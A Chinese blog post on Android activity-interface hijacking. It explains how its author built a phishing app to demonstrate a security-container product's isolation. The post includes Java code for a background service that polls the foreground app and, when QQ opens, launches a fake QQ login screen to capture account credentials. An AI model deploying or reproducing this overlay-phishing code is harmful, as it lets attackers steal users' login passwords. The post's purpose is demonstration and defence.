activity界面劫持--qq釣魚應用分析

    "在其位謀其政 任其職盡其責",既然進入了安全領域就應該做出一點相關的成果出來,否則就是名不符實,而我今天總算做出了一點真正和安全相關的東西了,記錄於此。

我的項目組做的是一個叫安全容器的東西,大致上就是在系統中虛擬出另外一個操作環境與普通環境隔離開來,這個環境可以進行一些安全度高的操作,比如支付,並且保證不被普通環境影響。主要是針對政府企業單位的產品,最大的亮點當然就是這個隔離性了。

   但是在很長一段時間,我們在demo場景演示中只有  存儲隔離(比如容器內外拍的照互相不能看到)、運行隔離(比如容器內外可以同時運行qq登錄不同的帳號互補影響)。這些也能說明隔離,但是最有力直接的證明這個容器的安全性還是通過:手機上裝上病毒、木馬、釣魚應用,容器外的密碼被盜取,而容器內不受影響。這纔是最直接有效的證明其安全性的方式。但奈何團隊中都沒有安全背景,很長一段時間都不知道常見的攻擊行爲是怎樣的,也就沒能設計一個典型的攻擊場景進入到demo中。

  正好這段時間接觸到了針對android系統專有的activity界面劫持問題,研究了一下發現這個攻擊行爲能很好的證明容器的隔離性。實際上原理很簡單就是木馬應用在後臺輪詢當前正在打開的activity,如果發現是qq,就會彈出一個仿照的qq登錄界面覆蓋真正的qq,從而誘導用戶在假的頁面上輸入帳號密碼,唉,我試着做完這個釣魚應用之後,發現對於小白來說根本無法辨別,只能坐當肉雞啊。好了,不多說了,下面上代碼。

一個後臺setrvice監聽打開的activity,  關鍵代碼

    final ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
        new Thread(){   
            @Override
            public void run() {
                super.run();
                while(!mStopService){
                    String pkgName = activityManager  
                            .getRunningTasks(1).get(0).topActivity.getPackageName();
//                    Log.v(TAG, "comint activity:"+pkgName);
                    for(String targetname: targetComponents){
                        if(targetname.equals(pkgName)){
                            hijacking(pkgName);
                            break;
                        }
                    }
                    
                    try {
                        sleep(300);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            }
        }.start();

     private void hijacking(String pkgName) {  
        if(targetComponents[0].equals(pkgName)){//QQ
//            Log.v(TAG, "給我吧,qq:"+pkgName);
            Intent intent = new Intent(this, CopyQQLoginActivity.class);
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);//彈出山寨版qq登錄界面
        }
    }  


發佈了37 篇原創文章 · 獲贊 8 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章